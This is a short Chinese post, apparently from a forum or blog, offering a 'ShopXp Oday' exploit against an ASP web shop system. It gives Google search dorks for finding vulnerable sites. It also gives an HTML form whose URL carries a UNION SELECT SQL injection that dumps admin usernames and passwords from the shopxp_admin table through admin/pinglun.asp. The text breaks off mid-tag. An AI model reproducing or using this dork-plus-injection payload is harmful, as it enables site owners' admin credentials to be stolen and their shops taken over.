局限性很大，也是后台某个文件没做过滤。
所以啊，很多站改了后台，所以也没用。

EXP:

<!-- ShopXp_Oday -->
<!-- inurl:xpCatalog_xpDesc.asp?action_key_order= Or inurl:shopxp_news.asp-->

<form action=http://127.0.0.1/admin/pinglun.asp?id=1%20and%201=2%20union%20select%201,password,password,admin,admin,password,password,password,password,password,password%20from%20shopxp_admin method=post >
<label>
<div align=left>ShopXp Oday

<